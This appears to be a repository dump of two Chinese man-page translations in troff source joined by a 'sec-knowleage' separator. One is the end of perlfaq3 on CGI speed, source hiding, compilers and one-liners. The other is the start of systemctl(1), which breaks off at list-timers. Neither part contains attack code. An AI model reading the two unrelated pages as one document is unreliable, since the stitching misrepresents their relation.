然而,在使用你的变数时,明智地用 my()来定义执行范围,可让 Perl在脱离该范围後 将它们所占的空间释放给其它部份的程式。 (注:my()的变数也比全域变数执行起来快 10%。)当然,一个全域变数永远没有超出范围的时候,所以你无法将它占用的空间自动重新分配,不过,把它 undef() 或/和 delete()会有相同的效果。总之,在 Perl里,你并不能/应该去担心太多有关记忆体定址与解除这件事,而我们连添加这项功能(资料形态的预先定址),目前都已在进行中。
.Sh "如何让我的 CGI脚本 (script)执行起来更有效率?"
.IX Subsection "How can I make my CGI script more efficient?"
除了使一般 Perl程式加快或缩小的平常手段外,一个 CGI 程式还有其他的顾虑。也许它每秒会被执行好几次。每次它执行时,重新编译所花的时间、加上定址所需的 1 MB以上的系统记忆体,就是一个大杀手。光是编译成 C 是没啥帮助的 ,因为瓶颈在於整个程序开始时所负担的包袱 (start-up overhead) 。
.PP
最起码有两种较流行的方法可以避免这些包袱。一种解法是将 mod_perl 或是 mod_fastcgi其中一个模组加在你所执行的 Apache HTTP server。
.PP
有了 mod_perl 和 Apache::*模组 (从 CPAN取得),httpd执行时会带起一个内 嵌的 Perl直译器,而它会预先编译你的程式,并在不产生其它子程序的情况下用同一个定址空间来执行。Apache 扩充模组亦给 Perl一个连通 server API 的管道,所以用 Perl写的模组可以做到任何 C写的模组所具备的功能。详情请参阅 http://perl.apache.org/
.PP
而有了 FCGI模组 (自 CPAN取得) 和 mod_fastcgi 模块(从 http://www.fastcgi.com/取得),每个 Perl 程序将成为一个永久的 CGI 守护进程。
.PP
这些方法对你的系统与你撰写 CGI程式的方法都有超乎想像之外的影响,所以请小心地使用它们。
.PP
参见 http://www.cpan.org/modules/by\-category/15_World_Wide_Web_HTML_HTTP_CGI/ .
.PP
A non\-free, commercial product, ``The Velocity Engine for Perl'',
(http://www.binevolve.com/ or http://www.binevolve.com/velocigen/ )
might also be worth looking at. It will allow you to increase the
performance of your Perl programs, running programs up to 25 times
faster than normal \s-1CGI\s0 Perl when running in persistent Perl mode or 4
to 5 times faster without any modification to your existing \s-1CGI\s0
programs. Fully functional evaluation copies are available from the
web site.
.Sh "如何隐藏 Perl程式的原始码?"
.IX Subsection "How can I hide the source for my Perl program?"
删除它。 :-) 说真的,有一些具有不同“安全”等级的方法(大部分都不能令人满意)。
.PP
首先,你 不能拿走读取权,不然你的程式怎麽被解译或是编译呢? (不过那也并不表示一个 CGI程式的原始码可以被使用者读取。)所以你得让档案权限停留在 0755这个友善的阶段。
.PP
有些人认为这是个安全上的漏洞。不过若你的程式作的是不安全的事情,光仰赖别人看不见这些漏洞、不知从何下手,那麽它依然是不安全的。其实对有些人来说他们并不需要看见程式原始码便可能判定并揭露这些不安全的部份。透过隐瞒达到的安全,就是不修正臭虫反而隐藏它们,实际上是没有安全性可言的。
.PP
你可以试着透过原始码过滤模组 (CPAN中的 Filter::*)来替原始码加密。但高手也许有办法将其解密还原。你也可以用下面提到的 byte code 编译器与直译器,但高手也有可能反解译它。你可以试试後面提到的原生码编译器 (native-code compiler),但高手也有可能反组译它。这些手段都需要不同难度的技巧才能让别人拿到你的原始码,但没有一种能够很确定地隐藏它。(这对每种语言来说都为真,不是只有 Perl)
.PP
很容易从 Perl 程序中恢复出源码。只要将程序作为 perl 解释器的参数,并且使用 B:: 中的模块就可以了。B::Deparse 模块足以恢复大多数隐藏的代码。再次的,这不是 Perl 特有的东西。
.PP
如果你所担心的是别人自你的程式码中获利,那麽一纸权限执照是能提供你法律上安全的唯一途径。注册你的软体并且写份权限说明,再加上一些具威胁性的句子像“这是 XYZ公司未出版的专有软体。你能撷取它并不代表你具有使用的权限...”之类云云。当然,我们不是律师,所以若你想要你的执照中每一句话在法庭上都站得住脚,就去见个律师吧。
.Sh "如何把我的 Perl程式码编译成 byte code或 C?"
.IX Subsection "How can I compile my Perl program into byte code or C?"
Malcolm Beattie已经写了一个多功能的後端编译器,可以从 CPAN取得,它就能做到这两项功能。它包含在 perl5.005 发布中,但是仍然是测试版。这代表着若你是个程式设计 员而非寻找万灵解药的人,那麽参与其测试就会充满趣味。
.PP
请了解光是编译成 C 其本身或在本质上并不能保证它就会跑得快更多。那是因为除了在运气好的状况中有一堆可以衍生成出来的原生形态外,平时的 Perl 执行系统环境依然存在因此依然会花差不多长的执行时间与占用差不多大小的记忆空间。大多数程式能省下来的不过是编译时间,这使执行速度顶多快 10-30%。有些罕见的程式能真正从中受利 (例如增快好几倍),但这还得配合原始码的微调。
.PP
你或许会惊讶地发现,现行版本的编译器做出来的执行档大小跟你的 Perl直译器一样大,有时更大些。那是因为依照现在的写法,所有的程式皆转成一个被 eval()的大叙述。只要建造一个动态连结的 libperl.so程式库,并将之连结起来,你就可以戏剧性地减少这 种浪费。参看 perl原始码套件中的 INSTALL pod档案以获得更详尽的讯息。如果你用这方法连结你主要的 perl执行档,就能使它变得很渺小。举例来说,在作者之一的系 统里, /usr/bin/perl只有 11k“小”而已!
.PP
In general, the compiler will do nothing to make a Perl program smaller,
faster, more portable, or more secure. In fact, it can make your
situation worse. The executable will be bigger, your \s-1VM\s0 system may take
longer to load the whole thing, the binary is fragile and hard to fix,
and compilation never stopped software piracy in the form of crackers,
viruses, or bootleggers. The real advantage of the compiler is merely
packaging, and once you see the size of what it makes (well, unless
you use a shared \fIlibperl.so\fR), you'll probably want a complete
Perl install anyway.
.Sh "How can I compile Perl into Java?"
.IX Subsection "How can I compile Perl into Java?"
You can also integrate Java and Perl with the
Perl Resource Kit from O'Reilly and Associates. See
http://www.oreilly.com/catalog/prkunix/ .
.PP
Perl 5.6 comes with Java Perl Lingo, or \s-1JPL\s0. \s-1JPL\s0, still in
development, allows Perl code to be called from Java. See jpl/README
in the Perl source tree.
.ie n .Sh "如何才能让 "#!perl" 在 [MS-DOS,NT,...] 下起作用?"
.el .Sh "如何才能让 "#!perl" 在 [MS-DOS,NT,...] 下起作用?"
.IX Subsection "How can I get #!perl to work on [MS-DOS,NT,...]?"
OS/2下只要用:
.PP
.Vb 1
\& extproc perl -S -your_switches
.Ve
.PP
当作 \f(CW\*(C`*.cmd\*(C'\fR 档案的第一行 (\f(CW\*(C`\-S\*(C'\fR 是因 cmd.exe中其 `extproc'处理的臭虫才要的)。DOS使用者应先制作一个相对的 batch 档案然後将它以 ALTERNATIVE_SHEBANG 的方式写成程式。(更多讯息在原始码版本的 INSTALL档案里)
.PP
The Win95/NT installation, when using the ActiveState port of Perl,
will modify the Registry to associate the \f(CW\*(C`.pl\*(C'\fR extension with the
perl interpreter. If you install another port, perhaps even building
your own Win95/NT Perl from the standard sources by using a Windows port
of gcc (e.g., with cygwin or mingw32), then you'll have to modify
the Registry yourself. In addition to associating \f(CW\*(C`.pl\*(C'\fR with the
interpreter, \s-1NT\s0 people can use: \f(CW\*(C`SET PATHEXT=%PATHEXT%;.PL\*(C'\fR to let them
run the program \f(CW\*(C`install\-linux.pl\*(C'\fR merely by typing \f(CW\*(C`install\-linux\*(C'\fR.
.PP
麦金塔的 perl程式将会有适当的创造者与形态 (Creator and Type),所以双击它们就会执行这些 perl 应用程式。
.PP
重要:不论你做什麽,请千万不要因为觉得沮丧,就把 perl 直译器丢到你的 cgi-bin目录下,好让你的 web 伺服器能执行你的程式。这是一个非常大的安全漏洞。花点时间想想怎样才是正确的做法吧。
.Sh "我能利用命令行写出有用的程式吗?"
.IX Subsection "Can I write useful Perl programs on the command line?"
可以。详情请看 perlrun。以下有些范例 (假设用的是标准的 Unix shell引言规则)。
.PP
.Vb 2
\& # 把第一栏和最後一栏相加
\& perl -lane 'print $F[0] + $F[-1]' *
.Ve
.PP
.Vb 2
\& # 辨别是否为文字档
\& perl -le 'for(@ARGV) {print if -f && -T _}' *
.Ve
.PP
.Vb 2
\& # 移除 C程式中的说明
\& perl -0777 -pe 's{/\e*.*?\e*/}{}gs' foo.c
.Ve
.PP
.Vb 2
\& # 让档案年轻一个月,躲避 reaper daemons
\& perl -e '$X=24*60*60; utime(time(),time() + 30 * $X,@ARGV)' *
.Ve
.PP
.Vb 2
\& # 找出第一个未用的 uid
\& perl -le '$i++ while getpwuid($i); print $i'
.Ve
.PP
.Vb 3
\& # 显示合理的使用说明路径 (manpath)
\& echo $PATH | perl -nl -072 -e '
\& s![^/+]*$!man!&&-d&&!$s{$_}++&&push@m,$_;END{print"@m"}'
.Ve
.PP
好吧,最後一个例子事实上是「perl程式困惑化」竞赛 (Obfuscated Perl)的 参赛作品。 :-)
.Sh "为何一行的 perl 程式无法在我的 DOS/Mac/VMS系统上运作?"
.IX Subsection "Why don't Perl one-liners work on my DOS/Mac/VMS system?"
问题通常出在那些系统的命令解译器对於参数的引用与 Unix shells 所作的解释不同,而後者很不幸的是这些一行 perl 的生父。在某些系统,也许你得把单引号改成双引号,但这却是你万万 不可在 Unix或 Plan9系统上作的事。你也许还得把一个 %改成 %%。
.PP
例如:
.PP
.Vb 2
\& # Unix
\& perl -e 'print "Hello world\en"'
.Ve
.PP
.Vb 2
\& # DOS 和其他机器
\& perl -e "print \e"Hello world\en\e""
.Ve
.PP
.Vb 3
\& # Mac
\& print "Hello world\en"
\& (然后运行 "Myscript" 或按 Shift-Command-R)
.Ve
.PP
.Vb 2
\& # MPW
\& perl -e 'print "Hello world\en"'
.Ve
.PP
.Vb 2
\& # VMS
\& perl -e "print ""Hello world\en"""
.Ve
.PP
问题是,这些方法没有一个是完全可靠的:它都得看命令解译器的脸色。在 Unix中,前两者通常可以用。在 DOS下,两者可能都没有用。若 4DOS是命令解译器,下面此法可能比 较有希望:
.PP
.Vb 1
\& perl -e "print <Ctrl-x>"Hello world\en<Ctrl-x>""
.Ve
.PP
在 Mac 下,端视你所用的环境为何。 MacPerl所附的 shell,或是 MPW, 其所支援的参数格式有不少都蛮像 Unix shells的,除了它自在地使用 Mac 的非 ASCII字元当成控制字元。
.PP
Using \fIqq()\fR, q(), and \fIqx()\fR, instead of \*(L"double quotes\*(R", 'single
quotes', and `backticks`, may make one-liners easier to write.
.PP
恐怕我得说这问题并没有一般解。白话一点说,它真是一团乱。
.PP
[部份答案是由 Kenneth Albanowski 所提供的。]
.Sh "我得去哪里学 Perl的 CGI或是 Web程式设计呢?"
.IX Subsection "Where can I learn about CGI or Web programming in Perl?"
就模组来说,去 CPAN抓 CGI 和 LWP 两个模组。就书本来看,参考关於书那部份里特别和 web 相关的问题。若有与 web相关的疑难杂症,像“为何我收到 500错误”或“它在命令列模式下跑得好好的,怎麽不能在浏览器下正常执行”时,请参看:
.PP
.Vb 1
\& http://www.perl.org/CGI_MetaFAQ.html
.Ve
.Sh "从哪里可以学习面向对象的 Perl 编程?"
.IX Subsection "Where can I learn about object-oriented Perl programming?"
perltoot是个好开始,然後你可以再参考 perlobj 和 perlboot,Perltoot,perltooc 以及 perlbot (如果你使用老版本的 Perl,你可能没有这些。去 http://www.perldoc.com/ 下载吧,但是首先考虑一下升级你的 perl)
.PP
有本好书关于 Perl 中的 \s-1OO\s0 是 \*(L"Object\-Oriented Perl\*(R"
作者是 Damian Conway ,出版社为 Manning Publications,
http://www.manning.com/Conway/index.html
.Sh "从哪里可以学习将 Perl 与 C 连接?[h2xs, xsubpp]"
.IX Subsection "Where can I learn about linking C with Perl? [h2xs, xsubpp]"
若你要从 Perl程式呼叫 C,就自 perlxstut开始向 perlxs ,xsubpp ,及 perlguts前进。反之,则读 perlembed ,perlcall ,及 perlguts 。别忘了你可以从各模组的作者如何写他们的模组及解决他们的问题中学到很多。
.Sh "我已经阅读了 perlembed,perlguts 等等,但是还是不能在我的 C 程序中嵌入 perl;我作错了什么?"
.IX Subsection "I've read perlembed, perlguts, etc., but I can't embed perl in my C program; what am I doing wrong?"
自 CPAN 下载 ExtUtils::Embed 套件,然後执行 `make test'。如果测试成功,就一遍又一遍地读那些 pod 说明档案。若它失败了,参看 perlbug并送一份内有 \f(CW\*(C`make test TEST_VERBOSE=1\*(C'\fR 与 \f(CW\*(C`perl \-V\*(C'\fR 输出的报告。
.Sh "我试着运行我的脚本时,看到了这样的消息。它是什么意思?"
.IX Subsection "When I tried to run my script, I got this message. What does it mean?"
perldiag有一份完整的 perl错误与警告讯息列表,并附有说明文字。你也可以用 splain程式 (伴随 perl而来)去解释这些错误讯息:
.PP
.Vb 2
\& perl program 2>diag.out
\& splain [-v] [-p] diag.out
.Ve
.PP
更改你的程式让它替你解释这些讯息也可以:
.PP
.Vb 1
\& use diagnostics;
.Ve
.PP
或
.PP
.Vb 1
\& use diagnostics -verbose;
.Ve
.Sh "什麽是 What's MakeMaker?"
.IX Subsection "What's MakeMaker?"
此模组 (亦为标准 perl 套件之一部份)设计的目的是要替一个模组从一个 Makefile.PL 中自动撰写出一个 Makefile。详情请看 ExtUtils::MakeMaker。
.SH "AUTHOR AND COPYRIGHT"
.IX Header "AUTHOR AND COPYRIGHT"
Copyright (c) 1997\-2002 Tom Christiansen and Nathan Torkington.
All rights reserved.
.PP
This documentation is free; you can redistribute it and/or modify it
under the same terms as Perl itself.
.PP
Irrespective of its distribution, all code examples here are in the public
domain. You are permitted and encouraged to use this code and any
derivatives thereof in your own programs for fun or for profit as you
see fit. A simple comment in the code giving credit to the \s-1FAQ\s0 would
be courteous but is not required.
.SH "译者"
陈彦铭,萧百龄,两只老虎工作室
|
sec-knowleage
|
'\" t
.TH "SYSTEMCTL" "1" "" "systemd 231" "systemctl"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemctl \- 控制 systemd 系统与服务管理器
.SH "SYNOPSIS"
.HP \w'\fBsystemctl\fR\ 'u
\fBsystemctl\fR [OPTIONS...] COMMAND [NAME...]
.SH "描述"
.PP
\fBsystemctl\fR
可用于检查和控制
\fBsystemd\fR(1)
系统与服务管理器的状态。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-t\fR, \fB\-\-type=\fR
.RS 4
参数必须是一个 逗号分隔的单元类型列表(例如"service,socket")。
.sp
在列出单元时,如果使用了此选项, 那么表示只列出指定类型的单元, 否则将列出所有类型的单元。
.sp
此外,作为特例,使用
\fB\-\-type=help\fR
表示在列出所有可用的单元类型之后退出。
.RE
.PP
\fB\-\-state=\fR
.RS 4
参数必须是一个逗号分隔的单元状态列表(只有 LOAD, ACTIVE, SUB 三大类)。 在列出单元时,如果使用了此选项,那么表示只列出处于指定状态的单元, 否则将列出所有状态的单元。 例如,使用
\fB\-\-state=failed\fR
表示只列出处于失败(failed)状态的单元。
.sp
此外,作为特例,使用
\fB\-\-state=help\fR
表示在列出所有可用的单元状态之后退出。
.RE
.PP
\fB\-p\fR, \fB\-\-property=\fR
.RS 4
参数必须是一个逗号分隔的属性名称列表(例如"MainPID,LogLevel"), 表示在使用
\fBshow\fR
命令显示属性时, 仅显示参数中列出的属性。 如果未指定此选项,那么将显示全部属性。 如果多次指定此选项, 那么相当于将这些选项的参数用逗号连接起来。
.sp
不带参数的
\fBsystemctl\ \&show\fR
命令 将会显示管理器(systemd)自身的属性(参见
\fBsystemd-system.conf\fR(5)
手册)。
.sp
不同类型的单元拥有不同的属性集, 指定任意一个单元(即使并不存在),都可以查看此类单元的所有属性。 类似的,即使指定了一个不存在的任务(job),也能查看任务的所有属性。 每种单元能够拥有的属性集分散在
\fBsystemd.unit\fR(5)
手册 以及此类单元专属的手册中,例如
\fBsystemd.service\fR(5),
\fBsystemd.socket\fR(5)
等等。
.RE
.PP
\fB\-a\fR, \fB\-\-all\fR
.RS 4
在列出单元时,表示列出所有已加载的单元。 在使用
\fBshow\fR
命令显示属性时, 表示显示所有属性,而不管这些属性是否已被设置。
.sp
如果想要列出所有已安装的单元,请使用
\fBlist\-unit\-files\fR
命令。
.RE
.PP
\fB\-r\fR, \fB\-\-recursive\fR
.RS 4
在列出单元时, 同时也以
"容器名:单元名"
格式列出本地容器中的单元。
.RE
.PP
\fB\-\-reverse\fR
.RS 4
在使用
\fBlist\-dependencies\fR
命令时, 仅显示单元之间的反向依赖关系。 也就是仅显示
\fIWantedBy=\fR,
\fIRequiredBy=\fR,
\fIPartOf=\fR,
\fIBoundBy=\fR
系列(而不是
\fIWants=\fR
系列)的依赖关系。
.RE
.PP
\fB\-\-after\fR
.RS 4
在使用
\fBlist\-dependencies\fR
命令时, 仅显示在先后顺序上早于指定单元的那些单元, 也就是递归的列出
\fIAfter=\fR
中的单元。
.sp
注意,每个
\fIAfter=\fR
依赖都会自动生成一个对应的
\fIBefore=\fR
依赖。 单元之间的先后顺序既可以被显式的明确设定, 也可以由其他指令隐式的自动生成(例如
\fIWantedBy=\fR
或
\fIRequiresMountsFor=\fR)。 无论是隐式自动生成的先后顺序, 还是显式明确设定的先后顺序, 都会被
\fBlist\-dependencies\fR
命令显示出来。
.RE
.PP
\fB\-\-before\fR
.RS 4
在使用
\fBlist\-dependencies\fR
命令时, 仅显示在先后顺序上晚于指定单元的那些单元, 也就是递归的列出
\fIBefore=\fR
中的单元。
.RE
.PP
\fB\-l\fR, \fB\-\-full\fR
.RS 4
在
\fBstatus\fR,
\fBlist\-units\fR,
\fBlist\-jobs\fR,
\fBlist\-timers\fR
命令的输出中, 显示完整的单元名称、进程树项目、日志输出、单元描述, 也就是不省略或截断它们。
.RE
.PP
\fB\-\-value\fR
.RS 4
在使用
\fBshow\fR
命令显示属性时, 仅显示属性值,而不显示属性名及等号。
.RE
.PP
\fB\-\-show\-types\fR
.RS 4
在使用
\fBlist\-sockets\fR
命令列出套接字(socket)时,同时显示套接字的类型。
.RE
.PP
\fB\-\-job\-mode=\fR
.RS 4
在向任务队列中添加新任务(job)时,如何处理队列中已有的任务。 可设为
"fail",
"replace",
"replace\-irreversibly",
"isolate",
"ignore\-dependencies",
"ignore\-requirements",
"flush"
之一。 仅在使用
\fBisolate\fR
命令时,默认值为
"isolate"
且不能更改, 对于其他命令,默认值皆为
"replace"
。
.sp
"fail"
表示当新任务与队列中已有的任务冲突时,该命令将失败。 所谓"冲突"的含义是:导致队列中已有的某个启动操作转变为停止操作,或者相反。
.sp
"replace"
表示将队列中冲突的任务替换为新任务。
.sp
"replace\-irreversibly"
与
"replace"
类似, 不同之处在于将新任务同时标记为"不可撤销", 也就是即使未来与其他新添加的任务发生冲突也不会被撤消。 注意,这个"不可撤销"的任务, 仍然可以使用
\fBcancel\fR
命令显式的撤消。
.sp
"isolate"
仅用于启动操作,表示在该单元启动之后,所有其他单元都会被停止。 当使用
\fBisolate\fR
命令的时候, 这是默认值,且不能更改。
.sp
"flush"
表示撤消队列中已有的全部任务,然后加入新任务。
.sp
"ignore\-dependencies"
表示忽略新任务的所有依赖关系(包括先后顺序依赖), 立即执行请求的操作。 如果成功, 那么所有被依赖的单元及先后顺序都将被忽略。 仅用于调试目的,切勿用于常规目的。
.sp
"ignore\-requirements"
类似于
"ignore\-dependencies"
, 表示仅忽略必需的依赖(但依然遵守单元之间的先后顺序)。
.RE
.PP
\fB\-\-fail\fR
.RS 4
这是
\fB\-\-job\-mode=fail\fR
的快捷方式。
.sp
当与
\fBkill\fR
命令一起使用时, 表示如果没有任何单元被杀死,那么将会导致报错。
.RE
.PP
\fB\-i\fR, \fB\-\-ignore\-inhibitors\fR
.RS 4
当关闭或休眠系统时,忽略 inhibitor 锁。 应用程序可以利用 inhibitor 锁防止某些重要操作(例如刻录光盘)被关机或休眠打断。 任何用户都可以获取 inhibitor 锁, 但是只有特权用户可以撤消或者忽略它。 正常情况下, 关机与休眠动作会因为 inhibitor 锁的存在而失败(无论该动作是否由特权用户发起), 同时所有已激活的 inhibitor 锁也都会被显示出来。 但如果使用了此选项, 那么 inhibitor 锁将被忽略,关机或休眠将会照常执行, 同时也不再显示这些已激活的锁。
.RE
.PP
\fB\-q\fR, \fB\-\-quiet\fR
.RS 4
安静模式,也就是禁止输出任何信息到标准输出。 注意:(1)这并不适用于输出信息是唯一结果的命令(例如
\fBshow\fR); (2)显示在标准错误上的出错信息永远不会被屏蔽。
.RE
.PP
\fB\-\-no\-block\fR
.RS 4
默认为阻塞模式,也就是任务经过校验、排入任务队列之后,
\fBsystemctl\fR
必须一直等到单元启动/停止完成才算执行结束。 使用此选项之后,将变为无阻塞模式,也就是任务排入队列之后, 即算
\fBsystemctl\fR
执行结束(不必等待单元启动/停止完成)。
.RE
.PP
\fB\-\-user\fR
.RS 4
与当前调用用户的用户服务管理器(systemd 用户实例)通信, 而不是默认的系统服务管理器(systemd 系统实例)。
.RE
.PP
\fB\-\-system\fR
.RS 4
与系统服务管理器(systemd 系统实例)通信, 这是默认值。
.RE
.PP
\fB\-\-no\-wall\fR
.RS 4
在执行 halt, poweroff, reboot 动作前,不发送警告消息。
.RE
.PP
\fB\-\-global\fR
.RS 4
表示在全局用户单元目录(通常是
/etc/systemd/user/)上操作, 从而全局的操作一个用户单元,这会影响到所有未来登入的用户。
.RE
.PP
\fB\-\-no\-reload\fR
.RS 4
与
\fBenable\fR,
\fBdisable\fR,
\fBedit\fR
命令连用, 表示在完成操作之后不重新加载 systemd 守护进程的配置(默认会自动重新加载), 相当于不自动执行
\fBdaemon\-reload\fR
命令。
.RE
.PP
\fB\-\-no\-ask\-password\fR
.RS 4
与
\fBstart\fR
及其相关命令(reload, restart, try\-restart, reload\-or\-restart, reload\-or\-try\-restart, isolate)连用, 表示不询问密码。 单元在启动时可能要求输入密码(例如用于解密证书或挂载加密文件系统)。 当未使用此选项时,
\fBsystemctl\fR
将会在终端上向用户询问所需的密码。 如果使用了此选项, 那么必须通过其他方法提供密码(例如通过密码代理程序), 否则单元可能会启动失败。 使用此选项还会导致在验证用户身份时, 不能使用从终端输入密码的方式。
.RE
.PP
\fB\-\-kill\-who=\fR
.RS 4
与
\fBkill\fR
命令连用, 表示向哪个进程发送信号(\fB\-\-signal=\fR)。 可设为
\fBmain\fR(仅杀死主进程) 或
\fBcontrol\fR(仅杀死控制进程) 或
\fBall\fR(杀死全部进程,这是默认值)。 所谓"主进程"是指定义了单元生存期的进程。 所谓"控制进程"是指用于改变单元状态的进程。 例如,所有
\fIExecStartPre=\fR,
\fIExecStop=\fR,
\fIExecReload=\fR
启动的进程都是控制进程。 注意,对于一个单元来说,同一时刻只能存在一个控制进程, 因为同一时刻只能存在一个状态变化的动作。 对于
\fIType=forking\fR
类型的服务来说,
\fIExecStart=\fR
启动的初始进程就是一个控制进程, 而此进程随后派生出来作为守护进程运行的那个进程, 则是该单元的主进程(如果它可以被检测到的话)。 但对于其他类型的服务来说,
\fIExecStart=\fR
启动的初始进程反而始终是该服务的主进程。 一个服务单元可以包含以下进程: 零个或一个主进程,零个或一个控制进程, 任意数量(可以是零个)的其他进程。 注意,不是所有类型的单元都含有上述三种进程。 例如,对于 mount 类型的单元来说, 就仅有控制进程(/usr/bin/mount
与
/usr/bin/umount), 而没有主进程。 默认值是
\fBall\fR
.RE
.PP
\fB\-s\fR, \fB\-\-signal=\fR
.RS 4
与
\fBkill\fR
命令连用, 表示向目标进程发送哪个信号。 必须是
\fBSIGTERM\fR,
\fBSIGINT\fR,
\fBSIGSTOP\fR
之类众所周知的信号。 默认值为
\fBSIGTERM\fR
。
.RE
.PP
\fB\-f\fR, \fB\-\-force\fR
.RS 4
当与
\fBenable\fR
命令连用时, 表示覆盖所有现存的同名符号链接。
.sp
当与
\fBedit\fR
命令连用时, 表示创建所有尚不存在的指定单元。
.sp
当与
\fBhalt\fR,
\fBpoweroff\fR,
\fBreboot\fR,
\fBkexec\fR
命令连用时,表示跳过单元的正常停止步骤,强制直接执行关机操作。 如果仅使用此选项一次,那么所有进程都将被强制杀死,并且所有文件系统都将被卸载(或以只读模式重新挂载)。 这可以算是一种野蛮但还算相对比较安全的快速关机或重启的方法。 如果连续两次使用此选项,那么将既不杀死进程,也不卸载文件系统, 而是直接强制关机或重启(但
\fBkexec\fR
除外)。 警告:连续两次使用
\fB\-\-force\fR
选项将会导致数据丢失、文件系统不一致等不良后果。 注意,如果连续两次使用
\fB\-\-force\fR
选项,那么所有操作都将由
\fBsystemctl\fR
自己直接执行,而不会与 systemd 进程通信。 这意味着,即使 systemd 进程已经僵死或者崩溃,连续两次使用
\fB\-\-force\fR
选项所指定的操作依然能够执行成功。
.RE
.PP
\fB\-\-message=\fR
.RS 4
当与
\fBhalt\fR,
\fBpoweroff\fR,
\fBreboot\fR,
\fBkexec\fR
命令一起使用时, 用于设置一个解释为什么进行该操作的字符串。 此字符串将与默认的关机消息一起记录到日志中。
.RE
.PP
\fB\-\-now\fR
.RS 4
当与
\fBenable\fR
命令连用时, 表示同时还要启动该单元。 当与
\fBdisable\fR
或
\fBmask\fR
命令连用时, 表示同时还要停止该单元。
.RE
.PP
\fB\-\-root=\fR
.RS 4
与
\fBenable\fR/\fBdisable\fR/\fBis\-enabled\fR
等相关命令连用,用于设置寻找单元文件时的根目录。
.RE
.PP
\fB\-\-runtime\fR
.RS 4
当与
\fBenable\fR,
\fBdisable\fR,
\fBedit\fR
等相关命令连用时, 表示仅作临时变更,从而确保这些变更会在重启后丢失。 这意味着所做的变更将会保存在
/run
目录下(立即生效但重启后该目录的内容将全部丢失), 而不是保存在
/etc
目录下。
.sp
类似的,当与
\fBset\-property\fR
命令连用时, 所做的变更亦是临时的, 这些变更在重启后亦会丢失。
.RE
.PP
\fB\-\-preset\-mode=\fR
.RS 4
与
\fBpreset\fR
或
\fBpreset\-all\fR
命令连用,可设为下列值之一:
"full"(默认值) 表示完全按照预设规则启用与停用各单元。
"enable\-only"
表示仅按照预设规则启用各单元。
"disable\-only"
表示仅按照预设规则停用各单元。
.RE
.PP
\fB\-n\fR, \fB\-\-lines=\fR
.RS 4
与
\fBstatus\fR
命令连用, 控制日志的显示行数(从最新的一行开始计算)。 必须设为一个正整数,默认值是"10"。
.RE
.PP
\fB\-o\fR, \fB\-\-output=\fR
.RS 4
与
\fBstatus\fR
命令连用, 控制日志的显示格式。 详见
\fBjournalctl\fR(1)
手册。默认值为
"short"
。
.RE
.PP
\fB\-\-firmware\-setup\fR
.RS 4
与
\fBreboot\fR
命令连用, 要求系统主板的UEFI固件重启到安装模式。 仅支持某些以UEFI模式启动的主板。
.RE
.PP
\fB\-\-plain\fR
.RS 4
与
\fBlist\-dependencies\fR,
\fBlist\-units\fR,
\fBlist\-machines\fR
命令连用, 将输出从默认的树形变为列表型。
.RE
.PP
\fB\-H\fR, \fB\-\-host=\fR
.RS 4
操作指定的远程主机。可以仅指定一个主机名(hostname), 也可以使用
"username@hostname"
格式。 hostname 后面还可以加上容器名(以冒号分隔), 也就是形如
"hostname:container"
的格式, 以表示直接连接到指定主机的指定容器内。 操作将通过SSH协议进行,以确保安全。 可以通过
\fBmachinectl \-H \fR\fB\fIHOST\fR\fR
命令列出远程主机上的所有容器名称。
.RE
.PP
\fB\-M\fR, \fB\-\-machine=\fR
.RS 4
在本地容器内执行操作。 必须明确指定容器的名称。
.RE
.PP
\fB\-\-no\-pager\fR
.RS 4
不将程序的输出内容管道(pipe)给分页程序。
.RE
.PP
\fB\-\-no\-legend\fR
.RS 4
不输出列标题, 也就是不在输出列表的头部和尾部显示字段的名称。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.SH "命令"
.PP
模式(\fIPATTERN\fR)参数的语法与文件名匹配语法类似:用"*"匹配任意数量的字符,用"?"匹配单个字符,用"[]"匹配字符范围。 如果给出了模式(\fIPATTERN\fR)参数,那么表示该命令仅作用于单元名称与至少一个模式相匹配的单元。
.SS "单元命令"
.PP
\fBlist\-units \fR\fB[\fIPATTERN\fR\&.\&.\&.]\fR
.RS 4
列出
\fBsystemd\fR
已加载的单元。 除非明确使用
\fB\-\-all\fR
选项列出全部单元(包括:直接引用的单元、出于依赖关系而被引用的单元、活动的单元、失败的单元), 否则默认仅列出:活动的单元、失败的单元、正处于任务队列中的单元。 如果给出了模式(\fIPATTERN\fR)参数,那么表示该命令仅作用于单元名称与至少一个模式相匹配的单元。 还可以通过
\fB\-\-type=\fR
与
\fB\-\-state=\fR
选项过滤要列出的单元。
.sp
这是默认命令。
.RE
.PP
\fBlist\-sockets \fR\fB[\fIPATTERN\fR\&.\&.\&.]\fR
.RS 4
列出已加载的套接字(socket)单元,并按照监听地址排序。 如果给出了模式(\fIPATTERN\fR)参数,那么表示该命令仅作用于单元名称与至少一个模式相匹配的单元。 该命令的输出大致像下面这样子:
.sp
.if n \{\
.RS 4
.\}
.nf
LISTEN UNIT ACTIVATES
/dev/initctl systemd\-initctl\&.socket systemd\-initctl\&.service
\&.\&.\&.
[::]:22 sshd\&.socket sshd\&.service
kobject\-uevent 1 systemd\-udevd\-kernel\&.socket systemd\-udevd\&.service
5 sockets listed\&.
.fi
.if n \{\
.RE
.\}
.sp
注意:因为监听地址中有可能包含空格, 所以不适合使用程序分析该命令的输出。
.sp
参见
\fB\-\-show\-types\fR,
\fB\-\-all\fR,
\fB\-\-state=\fR
选项。
.RE
.PP
\fBlist\-timers \fR\fB[\fIPATTERN\fR\&.\&.\&.]\fR
.RS 4
